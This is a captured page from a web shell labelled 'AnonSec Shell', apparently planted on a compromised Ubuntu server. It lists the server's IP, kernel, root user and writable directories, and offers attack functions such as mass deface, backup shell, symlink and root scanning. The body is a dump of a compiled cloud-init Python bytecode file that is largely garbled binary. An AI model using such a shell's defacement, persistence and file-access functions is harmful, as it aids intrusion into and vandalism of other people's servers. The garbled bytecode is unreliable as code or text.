AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceUpCloud.cpython-310.pyc
o

x[h��@s�ddlZddlmZddlmZmZddlmZddlm	Z	ddl
mZe�
e�ZddiZd	Zd
Zd
ZGdd�dej�ZGd
d�de�ZeejffeejejffgZdd�ZdS)�N)�net)�sources�util)�NoDHCPLeaseError)�EphemeralDHCPv4)�upcloud�metadata_urlz'http://169.254.169.254/metadata/v1.json��c@sHeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	e
d
d��ZdS)�DataSourceUpCloud�UpCloudFcCs�tj�||||�||_t�|_t�t�|ddgi�t	g�|_
|j
d|_|j
�dt
�|_|j
�dt�|_|j
�dt�|_d|_d|_dS)N�
datasourcerr�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatar�
mergemanydict�get_cfg_by_path�BUILTIN_DS_CONFIG�ds_cfg�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_WAIT_RETRYr�_network_config�
metadata_full)�self�sys_cfgr�paths�r$�E/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceUpCloud.pyr"s��
zDataSourceUpCloud.__init__cCst��S�N)�	uc_helper�read_sysinfo�r!r$r$r%�_get_sysinfo3szDataSourceUpCloud._get_sysinfocCstj|j|j|j|jd�S)N)r�sec_betweenr)r'�
read_metadatarrrrr)r$r$r%�_read_metadata6s�z DataSourceUpCloud._read_metadatac
Cs�|��\}}|s
dSt�d|�|jr]z+t�d�t��}t�d|�t|j|��|�	�}Wd�n1s8wYWnLt
tjfy\}zt
�tt|��WYd}~dSd}~wwzt�d�|�	�}Wn"tjy�}zt
�tt|��t�d|�WYd}~dSd}~ww||_|�d|�|jd<|�d	�|jd
<|�d�|jd<|�d�|jd
<|�dd�|jd<|�dd�|_|�dd�|_dS)NFz"Running on UpCloud. server_uuid=%szFinding a fallback NICz*Discovering metadata via DHCP interface %sz7Discovering metadata without DHCP-configured networkingzENo DHCP-enabled interfaces available, unable to fetch metadata for %s�instance_idzinstance-id�hostnamezlocal-hostname�network�public_keyszpublic-keys�region�default�availability_zone�vendor_data�	user_dataT)r*�LOG�info�perform_dhcp_setup�debug�cloudnet�find_fallback_nicrrr-rr�InvalidMetaDataExceptionr�logexc�strr rr�vendordata_raw�userdata_raw)r!�
is_upcloud�server_uuid�nic�md�er$r$r%�	_get_data>sR

��������	zDataSourceUpCloud._get_datacCst�|���Sr&)r�instance_id_matches_system_uuid�get_instance_id)r!r"r$r$r%�check_instance_idksz#DataSourceUpCloud.check_instance_idcCs6|jr|jS|j�d�}|std��t�|�|_|jS)z�
        Configure the networking. This needs to be done each boot,
        since the IP and interface information might have changed
        due to reconfiguration.
        r0z/Unable to get network meta-data from server....)rrr�RuntimeErrorr'�convert_network_config)r!�raw_network_configr$r$r%�network_configns��z DataSourceUpCloud.network_configN)�__name__�
__module__�__qualname__�dsnamer9rr*r-rGrJ�propertyrNr$r$r$r%rs-rc@seZdZdZdZdS)�DataSourceUpCloudLocalaz
    Run in init-local using a DHCP discovery prior to metadata crawl.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    TN)rOrPrQ�__doc__r9r$r$r$r%rT�s	rTcCst�|t�Sr&)r�list_from_depends�datasources)�dependsr$r$r%�get_datasource_list�srY)�logging�	cloudinitrr;rr�cloudinit.net.dhcpr�cloudinit.net.ephemeralr�cloudinit.sources.helpersrr'�	getLoggerrOr7rrrrrrrT�DEP_FILESYSTEM�DEP_NETWORKrWrYr$r$r$r%�<module>s"
k
�

Anon7 - 2022
AnonSec Team